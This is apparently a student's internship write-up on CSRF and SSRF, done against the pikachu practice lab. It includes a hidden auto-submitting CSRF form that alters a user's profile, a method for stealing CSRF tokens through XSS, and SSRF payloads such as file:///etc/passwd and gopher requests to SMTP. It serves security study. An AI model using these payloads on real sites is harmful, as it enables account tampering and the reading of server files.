毕业实习任务day6

目录

任务一、总结CSRF和XSS区别

任务二、总结CSRF攻击步骤

任务三、总结CSRF手工构造POST型页面方法

(1)确定目标网站的POST请求格式

(2)构造伪造的HTML表单

(3)表单提交

举例

任务四、说明token类CSRF利用方法

实例:

任务五、SSRF常用伪协议

任务六、SSRF pikachu靶场通关

任务七、SSRF靶场通关时根据源代码说明漏洞成因(加分项)


任务一、总结CSRF和XSS区别

(1)XSS 允许攻击者在受害者的浏览器上执行js代码;而CSRF不行。

(2)XSS通过窃取受害者的cookie来实现账号接管,如果目标站点使用了httponly这就行不通了; CSRF通过浏览器发起请求,自动携带受害者的cookie信息,即使有httponly 也不影响CSRF攻击的实现。

(3)XSS 的危害更大。攻击者如果成功实现了XSS攻击,那通常意味着他可以使用受害者在这个网站的所有功能,而CSRF只限于特定的存在漏洞的功能。

(4)CSRF无法让攻击者获取到服务器返回的数据;而XSS由于可以执行js代码,这也就使得攻击者可以将它想要的数据发送到自己的服务器上,比如前面XSS章中提到的回传cookie。

任务二、总结CSRF攻击步骤

(1)用户C打开浏览器登陆受信任网站A,输入账号密码

(2)cooike被保存在浏览器中,用户C被诱导打开另一个网页登录恶意网站B

(3)恶意网站直接调用cookie以合法身份对受信任网站执行恶意操作

任务三、总结CSRF手工构造POST型页面方法

(1)确定目标网站的POST请求格式

观察目标网站的正常请求,查看表单的提交方式(POST),以及需要提交的参数名和对应的值。使用Burp Suite、浏览器开发者工具等,捕获和分析这些请求。

(2)构造伪造的HTML表单

根据捕获到的正常POST请求参数,构建一个伪造的HTML表单。攻击者会将表单的action指向目标网站的处理URL,表单中的输入项包含伪造的值。

(3)表单提交

诱导合法用户点击网站完成攻击,可以将网站设置成刷新页面

举例

看请求包中传递的参数有 sex/phonenum/add/email/submit

<html>

    <head>

        <title>This is a Test Page</title>

        <meta charset="UTF-8">

    </head>

    <body>

        <form action="http://172.20.10.2/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">

            <input type="hidden" name="sex" value="man" />

            <input type="hidden" name="phonenum" value="123456789" />

            <input type="hidden" name="add" value="保安室" />

            <input type="hidden" name="email" value="cyber@xxx.xxx" />

            <input type="hidden" name="submit" value="submit" />

            <input type="submit" value="点我刷新⻚面" />

        </form>

        <script>history.pushState('','','/')</script>

<!-- 在浏览器的历史记录(history)中添加一个新的记录,而不会导致⻚面重新加载。用于

实现⻚面的无刷新跳转或更新URL而不重新加载⻚面的效果。 -->

    </body>

</html>

任务四、说明token类CSRF利用方法

  Token是为了提高安全性,每次请求增加的一个随机码,后台对这个随机码进行验证

这个随机码被伪造很困难,但我们可以捕获它如果攻击者能够获取受害者的CSRF Token,就可以利用该Token发起伪造请求。

Token泄露的途径包括:

    XSS如果目标网站存在XSS漏洞,攻击者可以通过植入恶意脚本来窃取CSRF Token。Token通常嵌入在页面的HTML中,攻击者可以通过JavaScript提取并发送给自己。

利用方法:攻击者通过XSS注入JavaScript代码,从页面中提取CSRF Token并将其发送给攻击者服务器,然后使用这个Token构造并发送合法的伪造请求。

    Referer头信息泄露:某些情况下,Token可能会被包含在URL中。如果目标网站将Token放在URL中(例如重定向时附加在参数中),那么Referer头信息可能会泄露这个Token。例如,通过某个外部链接跳转时,Referer可能会包含Token,攻击者可以通过日志或流量分析获取它。

实例:

进入提交系统后打开抓包,点击提交

此时bp抓取到请求包,我们将包发送到重放器

我们借助bp里的插件CSFR Token Tracker

在host填写本机地址 名称设置token来抓取token值

发现提交发送后每次token值都不一样

(已在设置点击一直跟随重定向)

在重放器修改要改的值后

将包里的token放到CSRF Token Tracker的token中,再次在重放器发送包,点击跟随重定向

任务五、SSRF常用伪协议

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种利用服务器发送HTTP请求的攻击方式。为了绕过一些安全限制或访问未公开的资源,攻击者常常利用各种伪协议。这些伪协议可以帮助攻击者访问本地文件、内网服务、甚至进行代码执行。常见的SSRf伪协议有:

1. file://

用于访问服务器上的本地文件。例如:file:///etc/passwd

通过读取文件,可以获取服务器上的敏感信息。

2. ftp://

支持文件读取和目录遍历,也可以用于匿名FTP登录尝试。

例如:ftp://ftp.example.com/

3. gopher://

Gopher协议允许构造任意TCP请求,因此可以进行类似HTTP、SMTP等协议的伪造攻击。

例如:gopher://127.0.0.1:25/ 用于发送伪造的SMTP请求。

4. http:// 和 https://

这是SSRf攻击中最常见的协议,利用服务端的HTTP客户端来访问特定资源。

例如:http://localhost/admin,访问本地的管理页面。

5. php://

常见于PHP环境中,允许读取和操作输入输出流。

例如:php://input 读取POST请求体,或使用 php://filter 进行编码和解码操作。

6. data://

可以直接在URL中插入Base64编码的数据,利用该协议可以绕过一些URL过滤规则。

例如:data:text/plain;base64,aGVsbG8gd29ybGQ=

7. mysql://

利用MySQL协议发送请求。

例如:mysql://127.0.0.1:3306/ 进行数据库探测。

任务六、SSRF pikachu靶场通关

SSRF(curl)

curl的用法:https://www.runoob.com/php/php-ref-curl.html

SSRF(file_get_content)

任务七、SSRF靶场通关时根据源代码说明漏洞成因(加分项)

(源代码在搭建靶场的文件夹WWW/pikachu/vul内是每一关的源代码)

SSRF(curl)

输出的url来自于用户直接的输入,而且没有任何过滤就直接进行curl_exex,执行curl会话

SSRF(file_get_content)

Url直接从文件中获取,也没有任何过滤

  • 15
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值